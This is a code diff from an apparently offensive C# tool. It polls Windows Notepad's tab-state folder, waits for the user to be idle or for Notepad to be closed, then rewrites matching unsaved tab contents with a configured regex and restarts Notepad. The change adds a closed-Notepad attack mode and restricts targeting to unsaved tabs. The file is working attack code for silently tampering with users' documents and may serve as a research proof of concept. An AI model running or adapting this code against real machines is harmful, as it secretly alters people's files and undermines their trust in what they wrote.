|
20 | 20 |
|
21 | 21 | //TODO: Make this a list or something of attack target parameters |
22 | 22 | //LOL Error checking? |
| 23 | +int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 attack when Notepad is open, 1 attacks when Notepad is closed |
23 | 24 | string attackFileName = ConfigurationManager.AppSettings["attackFileName"]; |
24 | 25 | string attackRegex = ConfigurationManager.AppSettings["attackRegex"]; |
25 | 26 | string attackReplace = ConfigurationManager.AppSettings["attackReplace"]; |
26 | 27 | bool attackDone = false; |
27 | 28 |
|
28 | | -// Dictionary to store file information: file name -> file length to detect changes |
29 | | -var previousFileState = new Dictionary<string, string>(); |
30 | 29 |
|
31 | | -Thread monitorThread = new Thread(MonitorNotepad); |
32 | | -monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes |
33 | | -monitorThread.Start(); |
34 | | - |
35 | | -Console.WriteLine($"Monitoring directory: {directoryToMonitor}"); |
36 | | -Console.WriteLine("Press 'q' to quit..."); |
37 | | - |
38 | | -// Start a loop to check the directory every few seconds |
39 | | -while (true) |
| 30 | +if (attackVersion == 0) |
40 | 31 | { |
41 | | - // Wait for the next polling interval |
42 | | - Thread.Sleep(pollingInterval); |
| 32 | + // Dictionary to store file information: file name -> file length to detect changes |
| 33 | + var previousFileState = new Dictionary<string, string>(); |
43 | 34 |
|
44 | | - Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString()); |
| 35 | + Thread monitorThread = new Thread(MonitorNotepad); |
| 36 | + monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes |
| 37 | + monitorThread.Start(); |
45 | 38 |
|
46 | | - // Get the current state of the directory (file names and their hashes) |
47 | | - var currentFileState = new Dictionary<string, string>(); |
48 | | - foreach (var file in Directory.GetFiles(directoryToMonitor)) |
49 | | - { |
50 | | - var fileName = Path.GetFileName(file); |
51 | | - var fileByteLength = GetFileByteLength(file); |
52 | | - currentFileState[fileName] = fileByteLength; |
53 | | - } |
| 39 | + Console.WriteLine($"Monitoring directory: {directoryToMonitor}"); |
| 40 | + Console.WriteLine("Press 'q' to quit..."); |
54 | 41 |
|
55 | | - // Check for newly added files |
56 | | - var addedFiles = currentFileState.Keys.Except(previousFileState.Keys); |
57 | | - foreach (var addedFile in addedFiles) |
| 42 | + // Start a loop to check the directory every few seconds |
| 43 | + while (true) |
58 | 44 | { |
59 | | - Console.WriteLine($"File created: {addedFile}"); |
60 | | - Console.WriteLine(isNotepadRunning.ToString()); |
61 | | - //TODO: Future |
62 | | - } |
| 45 | + // Wait for the next polling interval |
| 46 | + Thread.Sleep(pollingInterval); |
63 | 47 |
|
64 | | - // Check for deleted files |
65 | | - var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys); |
66 | | - foreach (var deletedFile in deletedFiles) |
67 | | - { |
68 | | - Console.WriteLine($"File deleted: {deletedFile}"); |
69 | | - Console.WriteLine(isNotepadRunning.ToString()); |
70 | | - //TODO: Future |
71 | | - } |
| 48 | + Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString()); |
72 | 49 |
|
73 | | - // Check for modified files (files that exist in both, but with different lengths) |
74 | | - var modifiedFiles = currentFileState |
75 | | - .Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key]) |
76 | | - .Select(kv => kv.Key); |
77 | | - foreach (var modifiedFile in modifiedFiles) |
78 | | - { |
79 | | - Console.WriteLine($"File modified: {modifiedFile}"); |
80 | | - Console.WriteLine(isNotepadRunning.ToString()); |
81 | | - //TODO: Future |
82 | | - } |
| 50 | + // Get the current state of the directory (file names and their hashes) |
| 51 | + var currentFileState = new Dictionary<string, string>(); |
| 52 | + foreach (var file in Directory.GetFiles(directoryToMonitor)) |
| 53 | + { |
| 54 | + var fileName = Path.GetFileName(file); |
| 55 | + var fileByteLength = GetFileByteLength(file); |
| 56 | + currentFileState[fileName] = fileByteLength; |
| 57 | + } |
83 | 58 |
|
84 | | - // Update the previous file state for the next iteration |
85 | | - previousFileState = new Dictionary<string, string>(currentFileState); |
| 59 | + // Check for newly added files |
| 60 | + var addedFiles = currentFileState.Keys.Except(previousFileState.Keys); |
| 61 | + foreach (var addedFile in addedFiles) |
| 62 | + { |
| 63 | + Console.WriteLine($"File created: {addedFile}"); |
| 64 | + Console.WriteLine(isNotepadRunning.ToString()); |
| 65 | + //TODO: Future |
| 66 | + } |
86 | 67 |
|
87 | | - // Check for Attack conditions |
88 | | - if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone) |
89 | | - { |
90 | | - Console.WriteLine("Starting attack"); |
91 | | - CloseNotepad(); |
92 | | - foreach (var file in currentFileState) |
| 68 | + // Check for deleted files |
| 69 | + var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys); |
| 70 | + foreach (var deletedFile in deletedFiles) |
93 | 71 | { |
94 | | - Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex); |
| 72 | + Console.WriteLine($"File deleted: {deletedFile}"); |
| 73 | + Console.WriteLine(isNotepadRunning.ToString()); |
| 74 | + //TODO: Future |
| 75 | + } |
| 76 | + |
| 77 | + // Check for modified files (files that exist in both, but with different lengths) |
| 78 | + var modifiedFiles = currentFileState |
| 79 | + .Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key]) |
| 80 | + .Select(kv => kv.Key); |
| 81 | + foreach (var modifiedFile in modifiedFiles) |
| 82 | + { |
| 83 | + Console.WriteLine($"File modified: {modifiedFile}"); |
| 84 | + Console.WriteLine(isNotepadRunning.ToString()); |
| 85 | + //TODO: Future |
| 86 | + } |
| 87 | + |
| 88 | + // Update the previous file state for the next iteration |
| 89 | + previousFileState = new Dictionary<string, string>(currentFileState); |
| 90 | + |
| 91 | + // Check for Attack conditions |
| 92 | + if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone) |
| 93 | + { |
| 94 | + Console.WriteLine("Starting attack"); |
| 95 | + CloseNotepad(); |
| 96 | + foreach (var file in currentFileState) |
| 97 | + { |
| 98 | + Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex); |
| 99 | + } |
| 100 | + OpenNotepad(); |
| 101 | + } |
| 102 | + // Check for user input to exit |
| 103 | + if (Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) |
| 104 | + { |
| 105 | + break; |
95 | 106 | } |
96 | | - OpenNotepad(); |
97 | 107 | } |
98 | | - // Check for user input to exit |
99 | | - if (Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q) |
| 108 | +} |
| 109 | +else |
| 110 | +{ |
| 111 | + while (true) |
100 | 112 | { |
101 | | - break; |
| 113 | + Thread.Sleep(pollingInterval); |
| 114 | + |
| 115 | + if (Process.GetProcessesByName("notepad").Count() == 0) |
| 116 | + { |
| 117 | + var currentFileState = new Dictionary<string, string>(); |
| 118 | + foreach (var file in Directory.GetFiles(directoryToMonitor)) |
| 119 | + { |
| 120 | + var fileName = Path.GetFileName(file); |
| 121 | + var fileByteLength = GetFileByteLength(file); |
| 122 | + currentFileState[fileName] = fileByteLength; |
| 123 | + } |
| 124 | + |
| 125 | + Console.WriteLine("Starting attack"); |
| 126 | + foreach (var file in currentFileState) |
| 127 | + { |
| 128 | + Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex); |
| 129 | + } |
| 130 | + } |
| 131 | + |
| 132 | + if (attackDone) |
| 133 | + { |
| 134 | + break; |
| 135 | + } |
102 | 136 | } |
103 | 137 | } |
104 | 138 |
|
@@ -174,7 +208,7 @@ void Attack(string path, string fileName, string replace, string regexFind) |
174 | 208 | { |
175 | 209 | NPTabState np = new NPTabState(data, Path.GetFileName(path)); |
176 | 210 |
|
177 | | - if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName) |
| 211 | + if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName && np.Unsaved.SequenceEqual(new byte[] { 0x1 })) |
178 | 212 | { |
179 | 213 | string c = np.ContentString; |
180 | 214 |
|
|
0 commit comments